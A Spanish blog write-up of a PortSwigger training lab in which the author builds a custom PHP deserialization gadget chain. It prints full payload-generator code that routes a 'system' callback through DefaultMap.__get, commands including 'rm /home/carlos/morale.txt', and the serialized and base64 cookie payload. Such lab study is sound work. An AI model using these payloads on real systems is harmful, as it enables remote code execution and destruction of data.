JF0x0r's Blog
PortfolioBug Hunter ProfileGithub
  • Whoami
  • Aprender Go
    • 🐺¿Qué es GO 🦊
    • 🧠Packages
    • 🎃Modules
    • 🐢Variable - Tipos de Datos
    • 🧌Operadores Matematicos - Lógicos
    • 🥥Flujo If, For, While, Switch
    • 🌼Struct - Methods vs Functions
    • 📽️POO (Programming Oriented Object)
    • 🐯Interface - Interfaces
    • 🎱Punteros * &
    • 🐸Vectores/Arrays, Slices y Maps
    • 🫀El uso de Make en channels, slices, maps
    • 🧛‍♀️Errores en Go - Uso de err ≠ nil
    • 👁️GO Defer
    • 🦷GO Panic
    • 🦋GO Recover
    • 🐦Structs
    • 🐔WaitGroups Go
  • Pentester Lab
  • Guía de Estudio Hacking
  • Bug Bounty
    • 🍓Adobe
    • 🚀Nasa VDP
    • 🧀Figma
      • 🐙User Enumeration via Authentication Flow - Email Exposure
    • 🫐Syfe
    • 🍉Etoro
    • 🥭Glance Networks
  • PortSwigger WebAcademy
    • Server Side Topics
      • SQL Injection
        • 🐔Laboratorio: Inyección SQL ciega
        • 🍫Laboratorio: Datos Ocultos - Aprendiz
        • 🦍Laboratorio: Omitir inicio de sesión Bypass
        • 🔏Laboratorio: Calcular numero Columnas con UNION
        • 🪖Laboratorio: ataque UNION de inyección SQL , búsqueda de una columna que contiene texto
        • 🐧Laboratorio: ataque UNION de inyección SQL , recuperando datos de otras tablas
        • 🧛Laboratorio: ataque UNION de inyección SQL , recuperando múltiples valores en una sola columna
        • 🐬Laboratorio: Inyección SQL con errores condicionales
        • 🐈‍⬛Laboratorio: Inyección SQL basada en errores visibles
        • 💃Laboratorio: Inyección SQL ciega con retrasos de tiempo
        • 🐆Laboratorio: Inyección SQL ciega con retardos de tiempo y recuperación de información
        • 👑Laboratorio: Inyección SQL ciega con interacción fuera de banda
        • 🏞️Laboratorio: ataque de inyección SQL, consulta del tipo y versión de la base de datos en Oracle
        • 🪻Laboratorio: ataque SQLi, consulta del tipo y versión de la base de datos en MySQL y Microsoft
        • 💀Laboratorio: ataque de inyección SQL, enumerando el contenido de la base de datos en bases de datos
        • 🧀Laboratorio: Inyección SQL con omisión de filtro mediante codificación XML
      • Authentication
        • 🐟Laboratorio: Enumeracion de usernames via diferentes responses
        • 👩‍🦽Laboratorio: enumeración de nombres de usuario a través de respuestas sutilmente diferentes
        • ™️Laboratorio: enumeración de nombres de usuario mediante tiempos de respuesta
        • 🦷Laboratorio: protección de fuerza bruta rota, bloqueo de IP
        • 🧢Laboratorio: enumeración de nombres de usuario mediante bloqueo de cuenta
        • 🦠Laboratorio: protección de fuerza bruta rota, múltiples credenciales por solicitud
        • 🐛Laboratorio: bypass simple 2FA
        • 🐯Laboratorio: lógica rota 2FA
        • 👓Laboratorio: 2FA bypass usando un ataque por fuerza bruta
        • 👽Lab: Brute-forcing a stay-logged-in cookie
        • 🦋Laboratorio: Offline password cracking
        • 🧌Laboratorio: Password reset broken logic
        • 👁️Laboratorio: Basic password reset poisoning
        • 👂Laboratorio: Password reset poisoning via middleware
        • 🥻Laboratorio: Fuerza bruta de contraseña mediante cambio de contraseña
        • 🫁Laboratorio: Envenenamiento por restablecimiento de contraseña mediante etiquetas colgantes
      • Path Traversal
        • 🛻Laboratorio: File path traversal, simple case
        • 🦅Laboratorio: File path traversal, traversal sequences blocked with absolute path bypass
        • 🦉Laboratorio: recorrido de ruta de archivo , secuencias transversales eliminadas de forma no recursiv
        • 🍊Laboratorio: File path traversal, traversal sequences stripped with superfluous URL-decode
        • 🕷️Laboratorio: File path traversal, validation of file extension with null byte bypass
      • Command Injection OS
        • 🖥️Laboratorio: OS command injection, simple case
        • 🐹Laboratorio: Blind OS command injection with time delays
        • 👹Blind OS command injection with output redirection
        • 🧛‍♂️Laboratorio: Inyección ciega de comandos del SO con exfiltración de datos fuera de banda
        • 🦟Laboratorio: Inyección ciega de comandos del sistema operativo con interacción fuera de banda
      • Business Logic Vulnerabilities
        • 🧝‍♂️Laboratorio: Confianza excesiva en los controles del lado del cliente
        • 🧙‍♂️Laboratorio: Vulnerabilidad lógica de alto nivel
        • 🤩Laboratorio: Vulnerabilidad falla lógica de bajo nivel
        • 🎻Laboratorio: Manejo inconsistente de entradas excepcionales
        • 🏓Laboratorio: Inconsistent security controls
        • 🥭Laboratorio: Aislamiento débil en terminales de doble uso
        • 🧑‍✈️Laboratorio: Validación de flujo de trabajo insuficiente
        • 📀Laboratorio: Omisión de autenticación a través de una máquina de estado defectuosa
        • 🐦‍⬛Laboratorio: Aplicación defectuosa de las reglas comerciales
        • 🌵Laboratorio: falla en la lógica del dinero infinito
        • 🥑Laboratorio: omisión de autenticación mediante Oracle de cifrado
        • 🧊Lab: Bypassing access controls using email address parsing discrepancies
      • Information Disclosure Vulnerabilities
        • 🧟Laboratorio: Divulgación de información en mensajes de error
        • 🌵Laboratorio: divulgación de información en la página de depuración
        • 🍅Laboratorio: Divulgación del código fuente a través de archivos de respaldo
        • 🤿Laboratorio: omisión de autenticación mediante divulgación de información
        • 🏑Laboratorio: Divulgación de información en el historial de control de versiones
      • SSRF - Server-Side Request Forgery
        • 🧅Laboratorio: SSRF básico frente a otro sistema back-end
        • 🐮Laboratorio: SSRF con filtro de entrada basado en lista negra
        • 🌶️Laboratorio: SSRF con filtro de entrada basado en lista blanca
        • 💽Laboratorio: SSRF with filter bypass via open redirection vulnerability
        • ☎️Laboratorio: SSRF ciega con detección fuera de banda
        • 🥬Laboratorio: SSRF ciega con explotación Shellshock
        • 🐦Laboratorio: SSRF básico contra el servidor local
      • Acess Control
        • 🍑Laboratorio: funcionalidad de administración desprotegida
        • 🍉Laboratorio: funcionalidad de administración desprotegida con URL impredecible
        • 🐱Laboratorio: rol de usuario controlado por el parámetro de solicitud
        • 🐒Laboratorio: La función del usuario se puede modificar en el perfil del usuario
        • 🐴Laboratorio: el control de acceso basado en URL se puede eludir
        • 🍋Laboratorio: El control de acceso basado en métodos se puede eludir
        • 🎾Laboratorio: ID de usuario controlado por parámetro de solicitud
        • 🧆Laboratorio: ID de usuario controlado por parámetro de solicitud, con ID de usuario impredecibles
        • 🦑Laboratorio: ID de usuario controlado por parámetro de solicitud con fuga de datos en redirección
        • 😎Laboratorio: ID de usuario controlado por parámetro de solicitud con divulgación de contraseña
        • 🍗Laboratorio: Referencias directas a objetos inseguros
        • 🧀Laboratorio: proceso de varios pasos sin control de acceso en un solo paso
        • ⛄Laboratorio: Control de acceso basado en referentes
      • File Upload Vulnerabilities
        • 🛼Laboratorio: ejecución remota de código mediante carga de shell web
        • 🥦Laboratorio: carga de shell web mediante omisión de restricción de tipo de contenido
        • ⛵Laboratorio: carga de shell web mediante recorrido de ruta
        • 🛝Laboratorio: carga de shell web mediante omisión de la lista negra de extensiones
        • ⚾Laboratorio: carga de shell web a través de una extensión de archivo ofuscada
        • 🪖Laboratorio: carga de shell web mediante condición de carrera
      • Web Cache Deception
        • 🧀Laboratorio: Explotación del mapeo de rutas para el engaño de caché web
        • 🍨Laboratorio: Explotación de delimitadores de ruta para el engaño de caché web (v2)
        • 🪇Laboratorio: Explotación de la normalización del servidor de origen para el engaño de la caché web
        • 🍺Laboratorio: Explotación de la normalización del servidor de caché para el engaño de la caché web
        • ⚽Laboratorio: Explotación de reglas de caché de coincidencia exacta para el engaño de caché web
      • API Testing
        • 🥨Laboratorio: Explotación de un punto final de API mediante documentación
        • 🛝Laboratorio: Cómo encontrar y explotar un punto final de API no utilizado
        • 🧤Laboratorio: Explotación de una vulnerabilidad de asignación masiva
        • 🍒Laboratorio: Explotación de la contaminación de parámetros del lado del servidor en una cadena de co
        • 🥕Laboratorio: Explotación de la contaminación de parámetros del lado del servidor en una URL REST
      • XXE Injection - XML Entity
        • 🏸Laboratorio: Exploiting XXE using external entities to retrieve files
        • 🥾Laboratorio: Exploiting XXE to perform SSRF attacks
        • 🧑‍🎤Laboratorio: Blind XXE with out-of-band interaction
        • 🦉Laboratorio: Blind XXE with out-of-band interaction via XML parameter entities
        • 🌋Laboratorio: Exploiting blind XXE to exfiltrate data using a malicious external DTD
        • 👾Laboratorio: Exploiting blind XXE to retrieve data via error messages
        • 🌍Laboratorio: Exploiting XXE to retrieve data by repurposing a local DTD
        • 🫀Laboratorio: Exploiting XInclude to retrieve files
        • 👁️Laboratorio: Exploiting XXE via image file upload
      • Race Conditions
        • 🗣️Mutexes Golang
        • ⛸️Laboratorio: Limit overrun race conditions
        • 👽Laboratorio: Bypassing rate limits via race conditions
        • 👩‍🦯Laboratorio: Multi-endpoint race conditions
        • 🧢Laboratorio: Single-Endpoint Race Conditions
        • 🐛Laboratorio: Partial Construction Race Condition
        • 🔩Laboratorio: Exploiting time-sensitive vulnerabilities
      • No-SQL Injection
        • 🪱Laboratorio: Detecting NoSQL injection
        • 💼Laboratorio: Exploiting NoSQL operator injection to bypass authentication
        • 🪖Laboratorio: Exploiting NoSQL injection to extract data
        • 🦺Laboratorio: Exploiting NoSQL operator injection to extract unknown fields
    • Client Side Topics
      • Cross-site scripting (XSS)
        • XSS Reflected
          • ⛑️Laboratorio: XSS reflejado en contexto HTML sin nada codificado
        • XSS Based DOM
          • 🍖Laboratorio: DOM XSS en document.write, el receptor usando la fuente location.search
        • XSS Stored
          • 🪢Laboratorio: Stored XSS into HTML context with nothing encoded
          • 🥌Laboratorio: Stored XSS into onclick event with angle brackets and double quotes HTML-encoded
    • Advanced Topics
      • 0Auth
      • Insecure Deserialization
        • 🧀Laboratorio: Modificar objetos en serie
        • 🧅Laboratorio: Modificar los tipos de datos en serie
        • 🎋Laboratorio: Usando funcionalidad de la aplicación para explotar la desserialización insegura
        • 🎯Laboratorio: Inyección arbitraria de objetos en PHP
        • 🍿Laboratorio: Inyección arbitraria de objetos en PHP
        • 🕸️Laboratorio: Exploiting Java deserialization with Apache Commons
        • 🥷Laboratorio: Exploiting PHP deserialization with a pre-built gadget chain
        • 🏈Laboratorio: Exploiting Ruby deserialization using a documented gadget chain
        • 🎄Laboratorio: Desarrollo de una cadena de gadget personalizada para la deserialización de Java
        • 👨‍🦽Laboratorio: Desarrollo una cadena de gadget personalizada para la deserialización de PHP
  • Hacking Certifications
    • ACP - APISec University
      • 🌍API Security Fundamentals 2025
      • 🫀OWASP API Security Top 10 and Beyond!
      • 🏓API Authentication
      • 🥥API Documentation Best Practices
      • 🌲Securing API Servers
Powered by GitBook
On this page
  • Lo que dice Google AI →
  • Objeto Serializado/Codeado Base64 →
  1. PortSwigger WebAcademy
  2. Advanced Topics
  3. Insecure Deserialization

Laboratorio: Desarrollo una cadena de gadget personalizada para la deserialización de PHP

PreviousLaboratorio: Desarrollo de una cadena de gadget personalizada para la deserialización de JavaNextHacking Certifications

Last updated 5 months ago

Este laboratorio nos deja claro que debemos crear una gadget chain pero está vez enfocada en la ejecución rémota de codigo significa que posiblemente el codigo fuente en su estructura interna de como funciona la serialización, la aplicación estará implementando algún método inseguro que nos podrá permitir la ejecución de código rémoto, y si podemos crearlo entonces seguramente podremos eliminar el archivo morale.txt

Una pista que nos dejo el laboratorio es que el caracter virgulilla nos permite poder ver archivos de la aplicación que normalmente están es ocultos, ya veremos.

Ya encontramos un comentario puntual en el DOM de la app, que nos puede ser de utilidad, sin embargo no nos deja acceder así sin más debo añadir la virgulilla “~”

  • /cgi-bin/libs/CustomTemplate.php~

<?php

class CustomTemplate {
    private $default_desc_type;
    private $desc;
    public $product;

    public function __construct($desc_type='HTML_DESC') {
        $this->desc = new Description();
        $this->default_desc_type = $desc_type;
        // Carlos thought this is cool, having a function called in two places... What a genius
        $this->build_product();
    }

    public function __sleep() {
        return ["default_desc_type", "desc"];
    }

    public function __wakeup() {
        $this->build_product();
    }

    private function build_product() {
        $this->product = new Product($this->default_desc_type, $this->desc);
    }
}

class Product {
    public $desc;

    public function __construct($default_desc_type, $desc) {
        $this->desc = $desc->$default_desc_type;
    }
}

class Description {
    public $HTML_DESC;
    public $TEXT_DESC;

    public function __construct() {
        // @Carlos, what were you thinking with these descriptions? Please refactor!
        $this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
        $this->TEXT_DESC = 'This product is cool in text';
    }
}

class DefaultMap {
    private $callback;

    public function __construct($callback) {
        $this->callback = $callback;
    }

    public function __get($name) {
        return call_user_func($this->callback, $name);
    }
}

?>

Con un poquito de investigación e IA podemos ir entendiendo un poco más el codigo, primero hay varios puntos a tratar en este codigo:

  1. $this->desc = new Description(); → Se instancia de una manera que puede permitirnos intentar modificar el serializado para que realmente se instancie la clase DefaultMap que es la que tiene algo interesante para el RCE.

  2. $this->desc = $desc->$default_desc_type; → Este seteo dentro del constructor de la clase Product muestra un paradigma diferente de OOP sino POP que es enfocado en el uso de propiedades y objetos en lugar de funciones o procedimientos.

  3. __get($name) { return call_user_func($this->callback, $name); → este que por ahi podemos enfocar el código customizado gadget chain para poder lograr el RCE, ya que call_user_func trata precisamente de llamar a una función arbitraria en este caso callback pero callback es manipulable por nosotros así que podemos reemplazarla por una función especifica para poder ejecutar comandos arbitarios, y además __get() sabemos que es un método magico.

Ahora bien, vamos a entender la estructura del objeto serializado →

Lo que dice Google AI →

Posible Gadget Chain y Explotación RCE

El objetivo es lograr la ejecución de código arbitrario (RCE) mediante la manipulación de objetos y su deserialización. Aquí está la idea de la cadena de gadgets:

  1. Punto de Entrada: Vamos a manipular un objeto CustomTemplate serializado.

  2. Deserialización y __wakeup(): Cuando el objeto CustomTemplate es deserializado, se llama al método mágico __wakeup().

  3. Llamada a build_product(): __wakeup() llama a build_product(), que a su vez crea un nuevo objeto Product.

  4. Product y el problema: El constructor del objeto Product utiliza $this->desc->$default_desc_type para acceder a la descripción. Aquí está el problema. Si conseguimos controlar el $default_desc_type y el $desc, podríamos conseguir un método POP, property oriented programming.

  5. Control de $desc: En la serialización de CustomTemplate se guarda la instancia de la clase Description. Podemos cambiar esta instancia por una instancia de la clase DefaultMap

  6. Control de $default_desc_type: También se serializa este valor por lo que se puede manipular.

  7. DefaultMap: __get(): Al usar -> sobre el objeto DefaultMap, se ejecuta el metodo magico __get

  8. RCE con call_user_func(): Podemos usar la clase DefaultMap para ejecutar una función arbitraria, ya que __get() usa un call_user_func y nosotros controlamos el valor de la $callback.

  9. Encadenamiento: Utilizando DefaultMap como entrada, llamamos a la funcion system pasando como parametro la función que queremos ejecutar.

Todo esto lo ejecutaré desde la página online de compilar php →

<?php
// Código de las clases (ya definido en la pregunta)
class CustomTemplate {
    private $default_desc_type;
    private $desc;
    public $product;

    public function __construct($desc_type='HTML_DESC') {
        $this->desc = new Description();
        $this->default_desc_type = $desc_type;
        // Carlos thought this is cool, having a function called in two places... What a genius
        $this->build_product();
    }

    public function __sleep() {
        return ["default_desc_type", "desc"];
    }

    public function __wakeup() {
        $this->build_product();
    }

    private function build_product() {
        $this->product = new Product($this->default_desc_type, $this->desc);
    }
}

class Product {
    public $desc;

    public function __construct($default_desc_type, $desc) {
        $this->desc = $desc->$default_desc_type;
    }
}

class Description {
    public $HTML_DESC;
    public $TEXT_DESC;

    public function __construct() {
        // @Carlos, what were you thinking with these descriptions? Please refactor!
        $this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
        $this->TEXT_DESC = 'This product is cool in text';
    }
}

class DefaultMap {
    private $callback;

    public function __construct($callback) {
        $this->callback = $callback;
    }

    public function __get($name) {
        return call_user_func($this->callback, $name);
    }
}
// Payload
$payload = new CustomTemplate();
$payload->default_desc_type = "whoami";
$payload->desc = new DefaultMap("system");

$serialized = serialize($payload);
echo "Serialized Payload: ".$serialized."\n";

// Deserialización y ejecución del RCE
unserialize($serialized);


?>

Gadget Chain con Reflection properties →

Usamos reflections ya que como sabemos los atributos desc, default_desc_type son privados por lo cual si queremos inicializar un objeto para poder acceder a esos atributos desde fuera no podemos ya que son privados por esta razón se pueden usar dos alternativas, setters, o reflections y en este caso con reflections properties lo haré ya que con setters involucra directamente que tenga editar el codigo real legitimo de la app lo cual puede causar un comportamiento diferente al momento de generar el objeto serializado por lo cual prefiero dejarlo tal cual, y solo inicializar con los metodos claves de reflections property.

  1. Reflection:

    • Se crea una instancia de ReflectionClass para la clase CustomTemplate.

    • Obtenemos las propiedades default_desc_type y desc usando getProperty().

    • Usamos setAccessible(true) para poder acceder a estas propiedades privadas.

    • Usamos setValue() para modificar los valores de las propiedades del objeto $payload.

<?php
// Author: JF0x0r - Resolución de laboratorio portswigger. 
// Código de las clases (ya definido en la pregunta)
class CustomTemplate {
    private $default_desc_type;
    private $desc;
    public $product;

    public function __construct($desc_type='HTML_DESC') {
        $this->desc = new Description();
        $this->default_desc_type = $desc_type;
        // Carlos thought this is cool, having a function called in two places... What a genius
        $this->build_product();
    }

    public function __sleep() {
        return ["default_desc_type", "desc"];
    }

    public function __wakeup() {
        $this->build_product();
    }

    private function build_product() {
        $this->product = new Product($this->default_desc_type, $this->desc);
    }
}

class Product {
    public $desc;

    public function __construct($default_desc_type, $desc) {
        $this->desc = $desc->$default_desc_type; //Properties object paradigm in PHP
    }
}

class Description {
    public $HTML_DESC;
    public $TEXT_DESC;

    public function __construct() {
        // @Carlos, what were you thinking with these descriptions? Please refactor!
        $this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
        $this->TEXT_DESC = 'This product is cool in text';
    }
}

class DefaultMap {
    private $callback;

    public function __construct($callback) {
        $this->callback = $callback;
    }

    public function __get($name) { //metodo magico que se ejecuta cuando se intenta acceder a una propiedad inexistente. 
        return call_user_func($this->callback, $name); //llama a la funcion que se le pasa como parametro, lo cual nos deja la oportunidad de ejecutar codigo arbitrario con una llamada a una funcion maliciosa.
    }
}
// Payload
$payload = new CustomTemplate();

$reflection = new ReflectionClass('CustomTemplate');

$default_desc_type_property = $reflection->getProperty('default_desc_type');
$default_desc_type_property->setAccessible(true);
$default_desc_type_property->setValue($payload, "whoami");


$desc_property = $reflection->getProperty('desc');
$desc_property->setAccessible(true);
$desc_property->setValue($payload, new DefaultMap("system"));


$serialized = serialize($payload);
echo "Serialized Payload: ".$serialized."\n";

// Deserialización y ejecución del RCE
unserialize($serialized);
?>

Parece que genera un objeto serializado relativamente bueno, vamos a añadir el comando real que es de eliminar morale.txt

// Payload
$payload = new CustomTemplate();

$reflection = new ReflectionClass('CustomTemplate');

$default_desc_type_property = $reflection->getProperty('default_desc_type');
$default_desc_type_property->setAccessible(true);
$default_desc_type_property->setValue($payload, "rm /home/carlos/morale.txt");


$desc_property = $reflection->getProperty('desc');
$desc_property->setAccessible(true);
$desc_property->setValue($payload, new DefaultMap("system"));


$serialized = serialize($payload);
echo "Serialized Payload: ".$serialized."\n";

// Deserialización y ejecución del RCE
unserialize($serialized);

Curiosamente me devuelve que no puede eliminar el morale.txt la pagina compiladora de php, parece que si se está generando bien el código.

Objeto Serializado/Codeado Base64 →

O:14:"CustomTemplate":2:{s:33:"CustomTemplatedefault_desc_type";s:29:"rm /home/carlos/morale.txt";s:20:"CustomTemplatedesc";O:10:"DefaultMap":1:{s:20:"DefaultMapcallback";s:6:"system";}}
TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjI6e3M6MzM6IgBDdXN0b21UZW1wbGF0ZQBkZWZhdWx0X2Rlc2NfdHlwZSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO3M6MjA6IgBDdXN0b21UZW1wbGF0ZQBkZXNjIjtPOjEwOiJEZWZhdWx0TWFwIjoxOntzOjIwOiIARGVmYXVsdE1hcABjYWxsYmFjayI7czo2OiJzeXN0ZW0iO319
  • Lo codeamos a base64 y listo reemplazamos la cookie session de wiener y guala →

Eso es todo lo necesario para resolver el Lab si te intereso dale me gusta o sigueme en mis redes sociales, dejo mi repo con la solución del código:

👨‍🦽
435d4tn3r - PHP - OneCompiler
Logo
GitHub - JFOZ1010/GadgetChain-PHP: Repositorio para alojar el código de cadena de suministro para un laboratorio experto de portswigger con la deserialización insegura.GitHub
Logo